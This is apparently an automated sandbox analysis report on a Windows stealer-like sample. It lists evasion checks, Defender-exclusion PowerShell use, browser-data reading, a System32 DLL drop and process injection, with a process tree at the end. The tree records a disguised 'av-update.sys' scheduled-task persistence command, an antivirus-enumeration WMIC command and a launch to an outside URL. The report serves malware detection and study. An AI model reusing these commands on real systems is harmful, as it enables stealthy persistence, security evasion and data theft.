d02f513e1673e5012e916fad43e0672ee0ff9cdfbc0733401b9b8fd4bd88d1f3

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Bald.Win_New_Temp_Swoofer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4920	powershell.exe
3680	powershell.exe
2240	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Bald.Win_New_Temp_Swoofer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Bald.Win_New_Temp_Swoofer.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	1249163947-1257661328-68222221-1259694424.exe

Executes dropped EXE 3 IoCs

pid	Process
556	1249163947-1257661328-68222221-1259694424.exe
2500	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp

Loads dropped DLL 48 IoCs

pid	Process
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp
2328	$77-1271572685-1351225358-23125228-1364969821.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 22 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/116-0-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-2-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-3-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-4-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-6-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-5-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-7-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-27-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-94-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-213-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-228-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-550-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-556-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-557-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-559-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-569-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-575-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-576-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-577-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-578-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-581-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida
behavioral2/memory/116-582-0x00007FF6D66E0000-0x00007FF6D73DB000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Bald.Win_New_Temp_Swoofer.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\WindowsDSEProtectionSoft.dll	Bald.Win_New_Temp_Swoofer.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
116	Bald.Win_New_Temp_Swoofer.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0009000000023580-242.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4320	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\discord-1249325487893905519\DefaultIcon	Bald.Win_New_Temp_Swoofer.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\discord-1249325487893905519\shell\open	Bald.Win_New_Temp_Swoofer.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\discord-1249325487893905519\URL Protocol	Bald.Win_New_Temp_Swoofer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Moniker = "cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\discord-1249325487893905519\shell\open\command	Bald.Win_New_Temp_Swoofer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\discord-1249325487893905519\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Bald.Win_New_Temp_Swoofer.exe"	Bald.Win_New_Temp_Swoofer.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\discord-1249325487893905519	Bald.Win_New_Temp_Swoofer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\discord-1249325487893905519\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Bald.Win_New_Temp_Swoofer.exe"	Bald.Win_New_Temp_Swoofer.exe
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\discord-1249325487893905519\shell	Bald.Win_New_Temp_Swoofer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\discord-1249325487893905519\ = "URL:Run game 1249325487893905519 protocol"	Bald.Win_New_Temp_Swoofer.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
116	Bald.Win_New_Temp_Swoofer.exe
116	Bald.Win_New_Temp_Swoofer.exe
3912	RuntimeBroker.exe
3912	RuntimeBroker.exe
3912	RuntimeBroker.exe
3912	RuntimeBroker.exe
3912	RuntimeBroker.exe
3912	RuntimeBroker.exe
3912	RuntimeBroker.exe
3912	RuntimeBroker.exe
3912	RuntimeBroker.exe
3912	RuntimeBroker.exe
3984	msedge.exe
3984	msedge.exe
60	msedge.exe
60	msedge.exe
4920	powershell.exe
4920	powershell.exe
4920	powershell.exe
3680	powershell.exe
3680	powershell.exe
3680	powershell.exe
4768	msedge.exe
2240	powershell.exe
2240	powershell.exe
2240	powershell.exe
2388	msedge.exe
2388	msedge.exe
2388	msedge.exe
2388	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
60	msedge.exe
60	msedge.exe
60	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	116	Bald.Win_New_Temp_Swoofer.exe
Token: SeIncreaseQuotaPrivilege	4404	WMIC.exe
Token: SeSecurityPrivilege	4404	WMIC.exe
Token: SeTakeOwnershipPrivilege	4404	WMIC.exe
Token: SeLoadDriverPrivilege	4404	WMIC.exe
Token: SeSystemProfilePrivilege	4404	WMIC.exe
Token: SeSystemtimePrivilege	4404	WMIC.exe
Token: SeProfSingleProcessPrivilege	4404	WMIC.exe
Token: SeIncBasePriorityPrivilege	4404	WMIC.exe
Token: SeCreatePagefilePrivilege	4404	WMIC.exe
Token: SeBackupPrivilege	4404	WMIC.exe
Token: SeRestorePrivilege	4404	WMIC.exe
Token: SeShutdownPrivilege	4404	WMIC.exe
Token: SeDebugPrivilege	4404	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4404	WMIC.exe
Token: SeRemoteShutdownPrivilege	4404	WMIC.exe
Token: SeUndockPrivilege	4404	WMIC.exe
Token: SeManageVolumePrivilege	4404	WMIC.exe
Token: 33	4404	WMIC.exe
Token: 34	4404	WMIC.exe
Token: 35	4404	WMIC.exe
Token: 36	4404	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4404	WMIC.exe
Token: SeSecurityPrivilege	4404	WMIC.exe
Token: SeTakeOwnershipPrivilege	4404	WMIC.exe
Token: SeLoadDriverPrivilege	4404	WMIC.exe
Token: SeSystemProfilePrivilege	4404	WMIC.exe
Token: SeSystemtimePrivilege	4404	WMIC.exe
Token: SeProfSingleProcessPrivilege	4404	WMIC.exe
Token: SeIncBasePriorityPrivilege	4404	WMIC.exe
Token: SeCreatePagefilePrivilege	4404	WMIC.exe
Token: SeBackupPrivilege	4404	WMIC.exe
Token: SeRestorePrivilege	4404	WMIC.exe
Token: SeShutdownPrivilege	4404	WMIC.exe
Token: SeDebugPrivilege	4404	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4404	WMIC.exe
Token: SeRemoteShutdownPrivilege	4404	WMIC.exe
Token: SeUndockPrivilege	4404	WMIC.exe
Token: SeManageVolumePrivilege	4404	WMIC.exe
Token: 33	4404	WMIC.exe
Token: 34	4404	WMIC.exe
Token: 35	4404	WMIC.exe
Token: 36	4404	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3912	WMIC.exe
Token: SeSecurityPrivilege	3912	WMIC.exe
Token: SeTakeOwnershipPrivilege	3912	WMIC.exe
Token: SeLoadDriverPrivilege	3912	WMIC.exe
Token: SeSystemProfilePrivilege	3912	WMIC.exe
Token: SeSystemtimePrivilege	3912	WMIC.exe
Token: SeProfSingleProcessPrivilege	3912	WMIC.exe
Token: SeIncBasePriorityPrivilege	3912	WMIC.exe
Token: SeCreatePagefilePrivilege	3912	WMIC.exe
Token: SeBackupPrivilege	3912	WMIC.exe
Token: SeRestorePrivilege	3912	WMIC.exe
Token: SeShutdownPrivilege	3912	WMIC.exe
Token: SeDebugPrivilege	3912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3912	WMIC.exe
Token: SeRemoteShutdownPrivilege	3912	WMIC.exe
Token: SeUndockPrivilege	3912	WMIC.exe
Token: SeManageVolumePrivilege	3912	WMIC.exe
Token: 33	3912	WMIC.exe
Token: 34	3912	WMIC.exe
Token: 35	3912	WMIC.exe
Token: 36	3912	WMIC.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe
60	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 3912	116	Bald.Win_New_Temp_Swoofer.exe	60
PID 116 wrote to memory of 2008	116	Bald.Win_New_Temp_Swoofer.exe	86
PID 116 wrote to memory of 2008	116	Bald.Win_New_Temp_Swoofer.exe	86
PID 2008 wrote to memory of 2068	2008	cmd.exe	87
PID 2008 wrote to memory of 2068	2008	cmd.exe	87
PID 2008 wrote to memory of 4624	2008	cmd.exe	88
PID 2008 wrote to memory of 4624	2008	cmd.exe	88
PID 2008 wrote to memory of 1080	2008	cmd.exe	89
PID 2008 wrote to memory of 1080	2008	cmd.exe	89
PID 116 wrote to memory of 1492	116	Bald.Win_New_Temp_Swoofer.exe	91
PID 116 wrote to memory of 1492	116	Bald.Win_New_Temp_Swoofer.exe	91
PID 1492 wrote to memory of 60	1492	cmd.exe	92
PID 1492 wrote to memory of 60	1492	cmd.exe	92
PID 60 wrote to memory of 3088	60	msedge.exe	94
PID 60 wrote to memory of 3088	60	msedge.exe	94
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95
PID 60 wrote to memory of 3652	60	msedge.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3912

C:\Users\Admin\AppData\Local\Temp\Bald.Win_New_Temp_Swoofer.exe
"C:\Users\Admin\AppData\Local\Temp\Bald.Win_New_Temp_Swoofer.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Bald.Win_New_Temp_Swoofer.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Bald.Win_New_Temp_Swoofer.exe" MD5
    3⤵
    PID:2068
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:4624
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:1080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://feds.lol/udman
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://feds.lol/udman
    3⤵
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:60
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb50d746f8,0x7ffb50d74708,0x7ffb50d74718
      4⤵
      PID:3088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,9474701752590391574,1883100065167822084,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
      4⤵
      PID:3652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,9474701752590391574,1883100065167822084,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2124,9474701752590391574,1883100065167822084,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2688 /prefetch:8
      4⤵
      PID:2556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,9474701752590391574,1883100065167822084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
      4⤵
      PID:3380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,9474701752590391574,1883100065167822084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
      4⤵
      PID:3180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,9474701752590391574,1883100065167822084,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1920 /prefetch:1
      4⤵
      PID:3932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=media.mojom.MediaFoundationService --field-trial-handle=2124,9474701752590391574,1883100065167822084,131072 --lang=en-US --service-sandbox-type=mf_cdm --mojo-platform-channel-handle=5316 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=media.mojom.CdmService --field-trial-handle=2124,9474701752590391574,1883100065167822084,131072 --lang=en-US --service-sandbox-type=cdm --mojo-platform-channel-handle=5428 /prefetch:8
      4⤵
      PID:4360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,9474701752590391574,1883100065167822084,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3056 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\1249163947-1257661328-68222221-1259694424.exe
  2⤵
  PID:1236
- - C:\Users\Admin\AppData\Local\Temp\1249163947-1257661328-68222221-1259694424.exe
    C:\Users\Admin\AppData\Local\Temp\1249163947-1257661328-68222221-1259694424.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
      4⤵
      PID:1592
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /sc onlogon /tn "av-update.sys" /tr "C:\Users\Admin\AppData\Local\Temp\1249163947-1257661328-68222221-1259694424.exe" /rl HIGHEST /f >nul
